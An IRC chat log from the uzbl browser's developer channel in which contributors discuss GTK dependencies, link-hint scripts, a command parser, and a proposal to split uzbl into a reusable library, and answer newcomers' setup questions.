23:18 < Dieterbe> ok i'll fix
23:18 < Dieterbe> gtk 2.14 it is
23:18 < xeno|stefan> :)
23:18 < xeno|stefan> allright, i'll create a backport for lenny then
23:18 < rob|> can't we work around that? i mean ajdustments where possible before 2.14
23:19 < rob|> seems silly to require gtk >=2.14 just for that
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23:19 < github> uzbl: Dieter Plaetinck master SHA1-8a181af
23:19 < github> more precise gtk dep
23:19 < github> http://bit.ly/AhkSW
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23:19 < rob|> xeno|stefan: could you comment the bodies of those function, re-run make and see if there's anything else that fails?
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23:20 < xeno|stefan> rob|: i am not a developer, but i'll try
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23:21 < github> uzbl: Dieter Plaetinck master SHA1-881b7da
23:21 < github> disable cookies in master
23:21 < github> http://bit.ly/GnzIR
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23:21 < rob|> xeno|stefan: yeah, just enclose the bodies in /* */
23:22 < xeno|stefan> all functions with 'adjustment' inside?
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23:22 < github> uzbl: Dieter Plaetinck experimental SHA1-84f95f1
23:22 < github> more precise gtk dep
23:22 < github> http://bit.ly/cDUp9
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23:23 < rob|> well, the ones the compiler wines about
23:23 < rob|> scroll, scroll_begin, scroll_end
23:23 < xeno|stefan> yes, all three
23:24 < rob|> right, just the bodies though
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23:26 < xeno|stefan> seems good
23:26 < xeno|stefan> xeno@gideon:~/devel/uzbl • l uzbl
23:26 < xeno|stefan> -rwxr-xr-x 1 xeno xeno 110333 26. Mai 23:26 uzbl
23:26 < xeno|stefan> uzbl.c:380: warning: unused parameter ‘bar’ <--- that's all
23:27 < DuClare> Yup.
23:27 < rob|> alright, will look wether it's possible to mimic the current bevahiour with what gtk <2.14 provides
23:27 < xeno|stefan> mhh, i do not have a statusbar inside uzbl (reading manpage)
23:28 < pjackson> Are there any plans to make the hints system a built-in?
23:28 < DuClare> pjackson, No
23:29 < rob|> hrmm, seems like we need to just use the adjustment properties, as those are not exported as function in <2.14
23:30 < xeno|stefan> ah, now it seems good. thank you all :)
23:30 < xeno|stefan> ... and good night
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23:32 < pjackson> DuClare: I ask because I would like to activate the hints externally.
23:33 < DuClare> pjackson, What does that have to do with making them built-in?
23:33 < pjackson> Maybe nothing?
23:33 < DuClare> Indeed
23:34 < DuClare> echo 'act script hintscript.js' > fifo
23:35 < pjackson> Would hintscript.js ever be bundled?
23:35 < DuClare> A number of hint scripts are bundled
23:36 < DuClare> examples/scripts/*js
23:36 < rob|> whereas we should pick one that works reliably and put the alternatives on the wiki..
23:37 < DuClare> Currently there are four.. :>
23:46 < pjackson> Crumbs, the hints stuff completely changed when I did a pull. Bleeding edge indeed.
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00:04 < sscj> Dieterbe: I've updated linkfollow.js
00:04 < sscj> the hint tags didn't show up for input fields
00:05 < mxf> Dieterbe, 're: uzblcat': that was really just a quick'n dirty hack/POC, so i didn't bother to do a 'git init'.
00:06 < mxf> Dieterbe, someone whos more fluent in C than I am could probably rewrite that in C in about half an hour, I guess
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00:08 < trvjillo|andre> hola
00:09 < rob|> hey trvjillo|andre
00:11 < rob|> sscj: would you mind describing the scripts and their intended usage in a couple of words on the wiki?
00:11 < rob|> our current documentation clearly sucks
00:12 < trvjillo|andre> hmm.. just installed uzbl but can't get it to run
00:13 < rob|> be more precise
00:13 < trvjillo|andre> i'm write the error
00:13 < trvjillo|andre> i'm writing, cuz it's in the other pc
00:14 < trvjillo|andre> (uzbl: 4730) Glib-GObject-WARNING **:gsignal.c:2270 signal 'dettach-window' is invalid for instance 0x9acd6a8'
00:14 < trvjillo|andre> and
00:14 < trvjillo|andre> (uzbl: 4730) Glib-GObject-WARNING **:gsignal.c:2270 signal 'destroy' is invalid for instance 0x9acd6a8'
00:14 < sscj> rob|: I guess, but I suck at describing stuff
00:15 < trvjillo|andre> i'm running with uzbl --display=:0.0 www.google.com
00:15 < rob|> trvjillo|andre: well, those are just warnings - you can safely ignore them for now
00:15 < trvjillo|andre> but then it opens a window without any page rendered
00:15 < trvjillo|andre> am i missing something ?
00:15 < rob|> trvjillo|andre: 'uzbl --uri google.com'
00:15 < rob|> or -u
00:16 < trvjillo|andre> oops
00:16 < trvjillo|andre> thanks :)
00:16 < rob|> sure thing
00:17 < rob|> sscj: well, i'm not expecting a master thesis :P
00:17 < sscj> have you tried linkfollow.js btw?
00:17 < pjackson> Ok, so I've got hints working from the emacs minibuffer. This all looks really promising.
00:18 < pjackson> What with no feedback from the fifo or scripts, I don't know when to stop asking for input. All to come, I guess.
00:18 < rob|> pjackson: definitly
00:21 < rob|> when we finally stop outputting loads of unrelated stuff to stdout i'd like to deliver the answers via stdout, so you could do "uzbl | get_answers_and_do_soemthing.sh"
00:22 < rob|> where certain things will be reported as events, so you don't need to continously poll
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00:29 < rob|> hmm, actually we could even allow to set an event mask, so users could specifically define in which variables they are inetrested and those would be reported on change
00:30 < rob|> e.g.: "set eventmask = uri status_format ..." and whenever one of those gets a new value uzbl would output "varname value" without any polling
00:30  * rob| notes
00:33 < Masca> rob|: (lazy to look at the code) If I have a lot of instances of uzb running how can I know the socket I want to send commands?
00:33 < Masca> I can think uzblctrl --show-instances  but it's not there.
00:34 < rob|> either look at the statusbar, use a script spawned from uzbl or give you instances "--name"s
00:34 < rob|> *your
00:35 < rob|> if you don't use names the number in ( ) on the statusbar indivates the fifo name
00:35 < pjackson> s/fifo/socket/
00:35 < Masca> Do we support --name flag? awesome.
00:36 < rob|> same thing for sockets
00:36 < pjackson> I was correcting me there.
00:36 < pjackson> rob|: Yea, all sounds good. Does all of this design get chatted about on the list?
00:37 < Masca> I have read about the tag's int he wiki. And they are not implemented in yesterday's diet. How do you plan to do it?
00:37 < rob|> no, the main chatting takes place in here
00:37 < rob|> well, as far it concerns me.. ;)
00:37 < Masca> pjackson: yes, almost everything here... when I'm sleeping. =P
00:37 < rob|> +as
00:37 < rob|> brrr...
00:39 < Masca> rob|: The problem I see with stdin and args is that I don't usually launch uzbl from console. I do it using my WM.
00:41 < rob|> i don't see a problem there..
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00:45 < Masca> Well when you do shortcuts you have the same args and the same stuff from stdin, doesn't it? (I'm in awesome)
00:46 < rob|> not sure what you mean
00:47 < rob|> can you give a concrete example of what you're trying to achieve?
00:48 < Masca> I have set in my shortcut to spawn "~/src/uzbl/uzbl"  everytime I shot the shortcut it will just spawn uzbl (I have config file in my home) then, using this way to open uzbl instances I'm not able to set a --name flag
00:49 < Masca> Or any other flag.
00:50 < rob|> well, sure you can. either use a custom naming theme or define multiple shortucts that launch uzbl with different values for --name
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00:52 < Masca> mmmm or use a script to send the command...
00:52 < rob|> yeah, also possible
00:52 < Masca> damn.. this "unix-like" design is just great. jaja
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00:54 < rob|> it is indeed
00:54 < Masca> Everything I think is wrong in uzbl... it was because I'm too used to non-unix programs.
01:10 < Masca> Is there some sane way to merge (again) diet's experimental without generating a new commit? (last commit was also a pull from diet's)
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02:05 < seppo0010> hi
02:17 < seppo0010> may I ask u guys a question?
02:17 < seppo0010> anybody?
02:18 < Masca> seppo0010: just ask
02:18 < seppo0010> great =)
02:18 < seppo0010> I'm checking out the browser
02:18 < seppo0010> and after pressing "fl" (with the default settings)
02:18 < seppo0010> I see the numbers nexto to each link
02:19 < seppo0010> but when I delete the l, the numbers are still there
02:19 < Masca> do F to clean the numbers.
02:19 < seppo0010> if I do F
02:19 < seppo0010> I have two numbers
02:19 < seppo0010> next to each link
02:21 < Masca> I have just saw it working.
02:22 < urnthr> err what apt repository do i add to get the latest webkit build?
02:22 < Masca> hehe yep.
02:22 < seppo0010> I just grab the Dieterbe repo
02:22 < Masca> urnthr: ask your distro.
02:22 < urnthr> someone in here said they had the webkit that isn't 1.0-1
02:22 < urnthr> on debian
02:22 < Masca> now you just have made me get a lot of numbers over my webpage. =P
02:23 < BetterLeftUnsaid> seppo0010: Why do you need to delete the 'l'? fl## works for me, like fl01 for first link
02:23 < seppo0010> (sorry, tel)
02:24 < Masca> urnthr: arch have 1.1.7-1.
02:24 < urnthr> archlinux?
02:24 < Masca> seppo0010: if you reload the page the hints are gone.
02:24 < Masca> urnthr: yes.
02:24 < BetterLeftUnsaid> seppo0010: Or press Esc
02:24 < urnthr> oh :|
02:25 < Masca> yes, Esc is a better option.
02:25 < seppo0010> Esc works...
02:25 < seppo0010> but I think deleting the "l" should do it, in case I regret
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02:27 < seppo0010> oh, one more thing, let me know what you think... if I press flNN and NN is a checkbox, the checkbox get checked but the text is not emptied
02:31 < Masca> Don't know. It just placed the cursor in the checkbox, it's what it's supposed to do, doesn't it?
02:32 < seppo0010> oh, fuck
02:33 < seppo0010> my xfce skin sucks
02:33 < seppo0010> my focus and selection looks the same
02:35 < Masca> hehe
02:35 < seppo0010> yeah, it's definetly cool, if I press enter it gets checked
02:35 < seppo0010> if I press tab it swaps
02:35 < seppo0010> just awesome
02:35 < Masca> =P That's because uzbl rocks.
02:36 < seppo0010> definetly...
02:36 < seppo0010> anybody knows if it works on macosx?
02:38 < sscj> when is start_commit_handler run?
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03:12 < seppo00101> guys, can someone help me? I was able to paste an URL, but I can't copy (yurl, y2url, ytitle)
03:12 < seppo00101> I have installed xclip
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03:15 < sscj> the yank script is broken
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03:16 < sscj> or rather, it hasn't been updated since they switched around the arguments
03:16 < andrewa2> has anyone here tried installing uzbl on Mac OS X, maybe using something like http://www.gtk-osx.org/ ?
03:17 < seppo00101> yeah, after asking that I realized it uses GTK...
03:17 < seppo00101> I wasn't able to install pidgin on mac
03:17 < seppo00101> so... I think I'm gonna stick to firefox @ work
03:18 < seppo00101> (btw, thanks for the link, I needed to test uzbl as default browser to open links =P)
03:21 < seppo00101> oh, I think I have a problem... if I "set url = ..." on the config file, when I set a --uri= parameter it is ignored...
03:34 < sscj> that's a known issue
03:34 < seppo00101> oh, great
03:39 < seppo00101> another thing... if I get some kind of error, like "o 192.168.1.256" (invalid IP on purpose), when I hit "r" I'm redirected to "about:blank"
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03:40 < seppo00101> this happened to me first with Facebook, but it is hard to reproduce with a real url
03:44 < sscj> rob|_: looks like "set stylesheet_uri" only affects the about:blank page
03:52 < seppo00101> ZZ to everyone =P
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03:54 < Masca> sscj: that uri issue is "fixed" in my experimental branch.
03:54 < sscj> exactly what was the issue?
03:55 < Masca> I work arround it using another variable.
03:55 < urnthr> i just got uzbl compiled and installed
03:55 < urnthr> i like it so far :>
03:57 < sscj> Masca: that's the solution. what was the issue?
03:57 < sscj> also; where's your branch?
04:00 < Masca> hold on.
04:00 < Masca> http://github.com/salinasv/uzbl/commits/experimental
04:01 < Masca> btw you can bind    y         = sh 'echo -n $6 | xclip'
04:01 < Masca> and it will yank. ;-)
04:03 < sscj> I've noticed that using load_start_handler to send "script foo.js" doesn't work that well
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08:06 < Masca> Ok I give up with the split stuff. =/
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08:43 < rob|_> morning
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08:43 < Masca> rob|: hi
08:44 < Masca> I tried [again] to split stuff and it's a mess. jeje
08:45 < rob|> hmm
08:45 < Masca> I wanted to move every cmd_*() and the main command structs to command.[ch]
08:45 < Negher> Morning everybody.
08:46 < rob|> Masca: well, you need to look which functions need not to be static and make the var_to_name_hash an extern
08:47 < Masca> There are a lot of function dependencies.
08:47 < Masca> rob|: I just figured it out.
08:48 < rob|> i'm just thinking about best practice to implement my event mask thing
08:57 < rob|> Masca: can you explain the rationale to using g_strncasecmp() in the parser?
08:58 < Masca> Be able to match the keyword instead of any arbitrary word beginning with b,s,g, etc.
09:00 < rob|> but your solution will also match "setfoo" or "bindmetight", etc
09:00 < Masca> Nop, it's not suppoused to do it.
09:01 < Masca> That's why I sent strlen("bind"); as 3° param.
09:02 < rob|> well, that's the problem.  strcmp("bindblabala", "bind", 4)
09:02 < rob|> *strncmp rather
09:04 < Masca> Mmm that's true.. maybe I must change it to g_strncasecmp(ctl_line, "bind", strlen(ctl_line));
09:04 < rob|> that's silly, you'd rather want to modify the regex
09:06 < rob|> i mean we use optimized regexes anyways, so let that NFA do the work
09:07 < rob|> the cool thing about the way it is now is that we must only compare one or two chars in order to decide wether to fire the regex matcher or not
09:07 < rob|> --> fast
09:08 < Masca> yeah. So, you say: let b* get into the regex function, and let it decide if it's valid or it's not?
09:09 < rob|> right, that's how it works now anyways
09:09 < rob|> also i don't see a problem with being able to abbreviate commands
09:11 < Masca> right
09:13 < rob|> oh, and i'd also like to avoid branching (ie /foo|bar/) in the regex as this tends to bloat the NFA and make things slow(er)
09:14 < Masca> Sure.
09:14 < rob|> one might argue that it's non-deterministic anyways, though i'd still like to avoid it
09:15 < Masca> I agree with you. It's not a good idea to unnecesary slow down stuff.
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09:15 < Frots> hi there
09:15 < Frots> any news?
09:16 < rob|> hey Frots
09:16  * Masca have messed up his tree...
09:17 < Dieterbe> morning peoples
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09:17 < Masca> Morning diet
09:17 < rob|> oh, morning merge master
09:18 < rob|> :P
09:18 < Frots> :p
09:19 < Masca> Dieterbe: there is a fix to one ticket in my experimental branch.
09:20 < Masca> rob|: I guess I better dissaprove that revision. =/
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09:22 < rob|> Masca: the "Let keybinds work when status bar have focus" fix is a good one, though
09:22 < Masca> thanks.
09:22 < Masca> Now.. how do I dissaprove in git?
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09:30 < pjackson> Masca: Be a lover, not a hater.
09:31 < Masca> hate is powerful
09:31 < Frots> hate is lovely
09:34 < haste> Masca: what do you mean with dissaprove?
09:34 < Masca> get rid of a revision.
09:35 < Masca> maybe it's named revert in git's context..
09:35  * Masca reads man
09:38 < haste> revert will add a new revision, and not delete the old one
09:38 < haste> you could make a branch and rewrite history
09:38 < haste> but it's not really recommended
09:38 < haste> especially since it will most likely be a non fast-forward commit
09:39 < haste> you can do it just fine if you have't pushed
09:39 < haste> the best thing you can do if you pushed is basically admit you fucked up and revert :p
09:40 < haste> unless you pushed your password file or something stupid ^^
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09:40 < rob|> oh, new glibc and gcc on arch again..
09:40 < Masca> Jeje yep, I pushed and I admit I did not patch it  wisely.
09:41 < haste> just use revert then :)
09:41 < Masca> pfftt it's a mess. haha
09:45 < haste> that's what you get for pushing before you've checked your stuff :p
09:45 < Masca> I have checked... It's just that I haven't noticed something rob| did.
09:46 < Dieterbe>  rob|> hmm, actually we could even allow to set an event mask, so users could specifically define in which variables they are inetrested and those would be reported on change <-- just use --verbose and | grep
09:49 < rob|> Dieterbe: then we'd need to agree on a format for the verbose output so it's easy to parse by external scripts
09:50 < Dieterbe> rob|: sure
09:50 < rob|> or use a verbose level specifically designed for that
09:52 < Dieterbe> just a verbose flag and clear format. that's all we need. grep is your friend for all filtering and whatnot
09:54 < rob|> right, i fully agree
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09:59 < Dieterbe> yeay :)
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10:07 < Masca> Well. time to sleep. See you.
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10:09 < dev_null> jouz: Colours set a record of 71 people in #uzbl on May 26, 2009 at 07:22 PM CET. You'll need 9 more people to break the peak.
10:09 < jouz> wtf :)
10:10 < Frots> there goes my record :(
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10:15 < Dieterbe> meh, the hacker news caused 20 people to join all on the same day, but only 10 of them remained :P
10:15 < Frots> One of them was me, but i never read the hacker news 8)
10:15 < Frots> The last time I was on irc before yesterday, was when uzbl didn't exist yet
10:16 < Frots> (not too long ago ;))
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10:21 < barrucadu> Morning
10:21 < Frots> mring
10:21 < Frots> *morning
10:22 < barrucadu> My new laptop keyboard arrived today, I now have a working 'r' key ^^
10:25 < rob|> pushed, dump_config action + infrastructure for it
10:27 < Dieterbe> :o
10:27 < rob|> if anyone cares he can extend dump_config so that it writes to a file if any param are specified
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10:28 < Dieterbe> rob|: is this the thing we discussed and decided to not do it anyday soon because we didn't see the need?
10:30 < rob|> Dieterbe: well, actually no. it's just a helper so you can dump your current config (with any runtime modifications)
10:30 < rob|> it isn't used when launching new instances
10:34 < Dieterbe> rob|: so basically the "iterate over all uzbl.* variables and generate the appropratiate 'set <foo> = ' commands?
10:34 < rob|> right, set and bind
10:37 < rob|> e.g.: echo -e "act dump_config\nact exit" | uzbl | less
10:44 < rob|> there probably should be a flag in the uzbl_cmdprop that indicates wether to dump the var or not (e.g. inject_html should not be dumped)
10:45 < Dieterbe> ok. feel free. :)
10:50 < DuClare> Morning.
10:50 < rob|> ok, done
10:51 < barrucadu> Morning DuClare :)
10:51 < Frots> DuClare: good morning ;)
10:51 < rob|> hey DuClare
10:51 < Frots> what a nice atmosphere in this channel :p
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10:53 < Dieterbe> hi DuClare 
10:54 < DuClare> sscj, start_commit_handler is run when uzbl first receives data from the host
10:59 < rob|> i'd also like to split var_name_to_ptr[] into multiple tables, will be useful when we finally start the code split up
11:02 < rob|> anyways, how do you feel about an even crazier idea. turn uzbl into a library that just exports hooks for external communiaction and for interfacing with a html redering backend (webkit, gecko, ...)
11:03 < rob|> that way there will be no gtk dependencies and it we'll be  certainly able to write more portable
11:03 < rob|> s/it//
11:03 < Dieterbe> i don't see why we would need to support multiple rendering backends.  i would rather stick to 1 engine and keep the code simple
11:04 < rob|> well, i guess the code would become even simpler. another advantage of this is that you could use uzbl without any X deps
11:04 < rob|> strictly cmd line, that is
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11:05 < Dieterbe> how do you mean 'even simpler' ? we use specific webkit features all over the place. what happens if you want to support multiple engines? they all have their different hooks/function names etc
11:06 < rob|> that doesn't matter we just export the hooks we need. think of it as uzbl being the glue between out current command mode and a rendering backend
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11:06 < rob|> so it would translate commands to a exported hook/stub
11:07 < rob|> actually we already have most of the infrastructure needed for this
11:07 < sECuRE> rob|: if it’s so easy, just do a patch. at least i cannot guess the expense for this, so i’m against it. but if your patch is simple, why not?
11:08 < DuClare> Just do a patch.. right <,<
11:08 < Dieterbe> rob|: and what would actually draw the webkit window?
11:08 < rob|> Dieterbe: well another application that uses the uzbl lib
11:09 < rob|> Dieterbe: you could write uzbl like browser (i.e. full command support over all input channels) but design the interface in the way you want
11:09 < rob|> i.e. full blink-blink chrome stuff or anything else
11:09 < Dieterbe> rob|: okay so we would have libuzbl which is the lib you're talking about, and uzbl, which is an example browser using the lib
11:10 < rob|> exactly
11:10 < Dieterbe> if you want libuzbl to support multiple backends, doesn't that increase its code size a lot? because the different engines have different signals/hooks/functions/variables/..
11:11 < rob|> no, the backends would register their functions to lubuzbls's exported hooks
11:11 < rob|> similar to what we do now with var_name_to_ptr[]
11:12 < rob|> .func wouldn't be a function of our own but rather a registered external one
11:12 < rob|> we can create/delet those table entries on the fly
11:14 < Dieterbe> wow
11:14 < rob|> e.g.:  the interface for the backends would be something like this:  uzbl_register_function("uri", blink_blink_backend_load_uri()); ...
11:14 < Dieterbe> rob, you are a badass m******* :)
11:15 < Dieterbe> what this basically means, is restructuring our current code base into a separate "backend library" and "frontend example browser"
11:16 < rob|> right
11:17 < DuClare> The function parameters will hovever have to be the same to make it possible to call it.  In practice this'd probably mean that you can't directly register the functions of webkit or gecko, but you'd have to create a wrapper function
11:17 < DuClare> Which doesn't sound bad at all
11:17 < Dieterbe> on first sight it doesn't sound like a bad idea.  i'll think a bit more about this
11:18 < DuClare> Then we'd get rid of bindings and leave only callbacks & commands.. it would only be natural to use an external statusbar & prompt with that :)
11:18 < DuClare> I.e. this'd take it towards what I want :)
11:20 < DuClare> Though nothing prevents from making my changes to the current system.. and I'm not too concerned about being able to switch engines.  But the possibility wouldn't hurt, either.
11:21 < rob|> yeah, my idea is more about separating the command interface from the actual GUI
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11:22 < Dieterbe> imho the first "Thing" is separating uzbl from libuzbl.  you can take it further and make libuzbl support multiple backends, and you could have uzbl use external SB/prompt, but imho these are all unrelated things
11:25 < Dieterbe> rob|: but would libuzbl expose the webkit page gtk widget?
11:25 < rob|> right. i guess this would provide great flexibility, especially given the fact that backend can create new "variables" on the fly, register them to an own function and benefir from being able to use those as commands
11:26 < rob|> Dieterbe: no, we should just expose a lightweight set of must have hooks
11:26 < rob|> and every backend needing more than this can create its own vars on the fly
11:26 < rob|> and register them with libuzbl of course
11:27 < Dieterbe> so i don't really understand how a program implementing uzbl would preset a page to the user.  who makes the webkit widget and who puts it on the screen?
11:28 < rob|> the rendering programm of course
11:29 < rob|> think of libuzbl as an interface between our command mode and any C function
11:29 < Dieterbe> and what happens if you want to implement a browser where you want to create a gtk window, on that the webkit page, and just below that a statusbar?  it now sounds like you cannot do this?
11:30 < rob|> the GUI would be completly separate from libuzl, i don't really understand your point
11:31 < Dieterbe> well suppose you have a browser who wants to draw a "control widget", hell maybe even some buttons for the newbies.  how can you create 1 graphical application if the backend is supposed to create a window separately?
11:33 < sECuRE> the backend should render on the window you provide
11:34 < Dieterbe> oh..
11:34 < Dieterbe> rob|: ^^ like that?
11:34 < rob|> ok, i guess i mixed up terms.  it's like   (stdin/fifo/socket)<---->(libuzbl)<----->(browser)
11:35 < Dieterbe> "browser" is not the right word here i think
11:35 < rob|> so libuzbl is just the glue between user commands provided over one of those channels
11:35 < Dieterbe> when i think about browser, i think about a window with a page, with widgets, and where you can send commands to
11:35 < rob|> and the browser
11:35 < rob|> or however you want to call it
11:35 < rob|> Dieterbe: yes, that's it
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11:35 < Dieterbe> ok now you really lost me again
11:37 < rob|> Dieterbe: think of libuzbl as a further method for users to interact with the browser. the browser creates its GUI, with buttons and stuff, registers functions to libuzbl and is able to also be controlled via all commands
11:37 < rob|> and over all interfaces that libuzbl provides
11:38 < rob|> let me rephrase, firefox sucks because it can not be controlled the unix-way (well, from our perspective) with libuzbl you can turn every browser into a thing controllable in the unix way, ok?
11:38 < Dieterbe> but then the webkit stuff and the browser stuff is the same code?
11:39 < rob|> yeah, libuzbl would be completly separate from webkit, etc.
11:41 < Dieterbe> ok, first i was thinking about some 3-tier thing interface<->libuzbl<->rendering, but the 3rd element is now clearly much more then just the rendering of the page, as it apparently is your entire browser
11:41 < rob|> exactly that's what i suggest
11:41 < sECuRE> rob|: maybe you should draw a nice graphic with dia(1) and give some examples of functions in each level
11:41 < sECuRE> so that there won’t be any confusion
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11:43 < rob|> sECuRE: maybe i'll even do that, when really bored ;)
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11:45 < Dieterbe> rob|: i dunno, it seems weird that on one hand you want to have "interfacing" outsourced to libuzbl, but on the other hand the rendering of the page is tightly coupled to the browser implementation, which is especially weird to me because of your original goal of optionally allowing multiple rendering engines
11:47 < rob|> well, that's a problem of webkit, gecko, ...
11:48 < rob|> with libuzbl you'd simply have the freedom to use any app with a simple unix-like command interface
11:50 < rob|> another benefit, we could make uzblctrl also use libuzbl or any other tool for that matter
11:51 < Dieterbe> well i wonder what the catch is ;)
11:51 < rob|> erm, reusable code and the same interface for multiple applications?
11:53 < Dieterbe> i said the _catch_, not the _benefit_
11:53 < sECuRE> lots of wrappers? ;)
11:55 < Zaba> Dieterbe, why is uzblctrl still in git?
11:55 < Dieterbe> Zaba: because... we .. still... like to use it?
11:56 < M2tias> [matias@nautilus ~]$ uzblctrl
11:56 < M2tias> Muistialueen ylitys
11:56 < M2tias> 8)
11:56 < Dieterbe> huh. what's that?
11:56 < M2tias> oh, that means "Segmentation fault"
11:56 < Dieterbe> oh yeah. i think that's fixed now
11:56 < Dieterbe> not 100% sure though
11:57 < Zaba> it has been
11:57 < barrucadu> 10:57:02 % uzblctrl
11:57 < barrucadu> You need to specify the -s and -c parameters for uzblctrl to do anything of use.
11:57 < barrucadu> Usage: uzblctrl -s /path/to/socket -c "command"
11:57 < barrucadu> :)
11:57 < Dieterbe> Zaba: why do you think we don't need it anymore? do i have to fix some documentation somewhere?
12:01 < Zaba> Dieterbe, 2009-05-26T20:00:04 < _19LIONZ_> Zaba: the last time I checked , uzblctrl is not being used/developed anymore
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12:01 < Zaba> Dieterbe, I think I've been recklessly misinformed, then :>
12:01 < Dieterbe> Zaba: yeah indeed, we still uze uzblctrl and like it
12:02 < Zaba> What are paths in config relative to? I mean, if I do ./scripts/foo and my config is .config/uzbl/config, can I expect it to run .config/uzbl/scripts/foo?
12:02 < rob|> Zaba: hehe, we are basically 2 to 3 people that provide code and fixes on a regular basis - so some things have a bigger and others a lower priority
12:02 < Zaba> rob|, I see.
12:03 < Zaba> rob|, allows for pretty fast development, though, doesn't it?
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12:04 < rob|> sure
12:04 < Dieterbe> Zaba: probably to the directory you start uzbl from, but my configs just contain $XDG_CONFIG_HOME/uzbl/...
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12:06 < Zaba> okay
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12:24 < rob|> Dieterbe: btw, typo on the website "disbale_scripts"
12:25 < rob|> in the news announcment..
12:25 < Dieterbe> right. barrucadu ? ^^ :P
12:26 < Dieterbe> if you have more additions/fixes for the announce, let us know. i wrote it in a hurry
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12:31 < rob|> the README is missing the 'set' action
12:31 < rob|> bind foo = set somevar = value
12:32 < Dieterbe> you patch, i merge :P
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12:33 < rob|> will do, though first need to hack the code a bit. i hate docu only commits :P
12:33 < rob|> just kidding...
12:35 < rob|> anyone a recommendation for a good music stream, ambient/minimal tech? anything but last.fm please..
12:36 < rob|> or rather nothing flash based
12:36  * barrucadu returns from food
12:36 < barrucadu> Dieterbe: All I seem to do recently is fix typos :p
12:42 < Zaba> rob|, if you can set in bindings, will set uri = foo work in bindings?
12:42 < rob|> Zaba: yes
12:43 < sECuRE> rob|: try http://88.191.38.140:8002/
12:45 < rob|> sECuRE: nice, thanks
12:47 < rob|> brr, this laptop speakers sound like sh**
12:51 < Zaba> rob|, so the `uri' command will no longer be needed?
12:52 < rob|> right
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12:52 < rob|> if we introduce a few more vars we could get rid of most (all?) actions besides set of course..
12:54 < Zaba> rob|, sounds reasonable, indeed.
12:59 < Zaba> rob|, but it wouldn't make sense for actions to be all settings
12:59 < Zaba> just some of them
12:59 < Zaba> uri is just kinda duplicated and it'd be better to have it as just one of them.
13:00 < rob|> yeah we had some discussion on this topic a few days ago, though didn't come to a final conclusion yet
13:00 < Zaba> I suggest keeping actions as actions unless they're really setting-like
13:01 < Zaba> nothing settingy about search or search_reverse or scroll_vert, to name a few..
13:01 < rob|> well, you can't GET actions. that's a bit of an artificial limit
13:01 < Zaba> rob|, one could remove the 'uri' setting and use the 'uri' command instead, too.
13:01 < rob|> no, i'd like to keep the set of commands tiny
13:02 < Zaba> yes, but it doesn't mean all actions should be made settings even when it makes no sense ;p
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13:04 < Zaba> rob|, IMO `MODE' in status should be replaced with `I' or `C,' without the []s, to allow some more freedom.
13:06 < rob|> or with two vars: "set insert_mode_string = iNsErT" and "set command_mode_string = command me"
13:06 < rob|> you could also apply markup to those vars
13:06 < Zaba> I wouldn't know about that, absence of [] would be enough for me
13:06 < rob|> making it easily possible to diplay the modes in different styles/colours/etc.
13:11 < Zaba> hm.
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13:17 < rob|> Zaba: http://github.com/robm/uzbl/commit/eacd934e6456f354df9a1eaedee7e10964eea90c
13:17 < rob|> set insert_indicator = foo
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13:18 < rob|> set command_indicator = <span foreground="red">CMD</span>
13:18 < Zaba> aha, nice
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13:23 < Zaba> rob|, at the moment, follow_Numbers.js leaves hints even if I backspace all over the 'fl' keystroke and such, that's rather annoying.  Is there a way to cancel it?
13:23 < rob|> hmm, not sure. i'm not involved in that java script stuff..
13:26 < rob|> better ask sscj he's the js expert..
13:28 < Zaba> sscj, aside from refreshing, is there a way to tell follow_Numbers.js to remove its hints from the page?
13:29 < jouz> Zaba: hitting escape should work
13:29 < rob|> jouz: oh, sorry it was you who wrote those scripts, right?
13:29 < jouz> yep
13:30 < rob|> hrrm, Zaba jouz is the man - my bad..
13:31 < Dieterbe>  Zaba> nothing settingy <-- funny word :)
13:33 < Zaba> oh
13:33 < Zaba> okay.
13:33 < jouz> Zaba: does ESC work, or not? Currently follow_Numbers captures the ESC-keyup and removes all hints, but i never checked how save it is in other environments...
13:33 < Zaba> jouz, it does
13:33 < Zaba> thanks.
13:33 < jouz> no problem :)
13:33 < Zaba> what *is* the difference between follow_Numbers.js and follow_Numbers_Strings.js?
13:34 < jouz> Zaba: follow_Numbers_Strings (while not very clean written) does follows links with both, the numbers and the links text
13:35 < jouz> so flHome would follow a link with text "Home"
13:35 < Zaba> oh
13:35 < jouz> (oh and its case insensitive ;) )
13:35 < Zaba> sounds nice
13:36 < jouz> but that one needs a rewrite... but since actually very much happends arount the js-stuff (loading the scripts), it takes a little
13:37 < Dieterbe> jouz: talk to sscj about this, he wrote a new version based on yours. i merged in his scripts too. so we now have several scripts with overlapping functionality
13:37 < Dieterbe> maybe you guys could merge all scripts into 1, and maybe use a parameter denoting the type
13:37 < jouz> Dieterbe: i just noticed, and i like the new approach :)
13:38 < jouz> (i didn't got it to work myself though)
13:39 < Zaba> perhaps merging efforts (or at least removing old and worse versions) is a good idea, indeed.
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13:40 < jouz> yep, some things probably might be moved from source to the wiki
13:43 < Dieterbe> if we can merge scripts we should. if we can drop outdated ones, we should. only _after_ that, we can consider moving extra scripts to the wiki
13:43 < Dieterbe> if there are still more then one remaining, that is..
13:45 < Zaba> hmm
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14:02 < Zaba> ummm
14:02 < Zaba> Dieterbe, uzblctrl still got problems
14:03 < Zaba> Dieterbe, it always tells me I need to supply -c and -s even if I do
14:03 < DuClare> 13'59'32 < Zaba> rob|, but it wouldn't make sense for actions to be all settings
14:04 < DuClare> Why not?
14:05 < DuClare> Zaba, Technically, if everything was made a "set" action, everything would cease being a "set" action because you can drop the set that is implied in every action
14:05 < Zaba> DuClare, why would it make sense for `reload' to be a setting?
14:06 < DuClare> Zaba, You wouldn't think of it as setting if setting = action = setting
14:06 < DuClare> The goal is to get rid of overlapping concepts
14:06 < Zaba> DuClare, then it doesn't make sense for all settings to be actions
14:06 < DuClare> "reload is not a setting" sounds like political correctness and doesn't justify more code
14:06 < DuClare> Zaba, Why not?
14:07 < DuClare> "show_status 1" sounds like a perfectly valid action to me
14:07 < DuClare> To you it only sounds strange and invalid because you're used to the distinction induced by other software?
14:08 < Zaba> no, not really
14:08 < Zaba> it just goes somewhat against common sense, stashing different things into one bucket for the sake of saving several dozen lines of code
14:08 < DuClare> They're not neccessarily different
14:09 < DuClare> "status_format" makes sense if it's an action which takes a parameter based on which the sb is formatted
14:09 < DuClare> http_proxy an action which takes a parameter and sets the proxy to use..
14:09 < DuClare> I don't see the distinction; we already have "settings" which perform more than just set something
14:10 < Zaba> well
14:10 < Zaba> maybe in this case, the difference's not so much different after all..
14:10 < DuClare> Indeed
14:10  * Zaba will not admit he's been wrong, so just assume that he did.
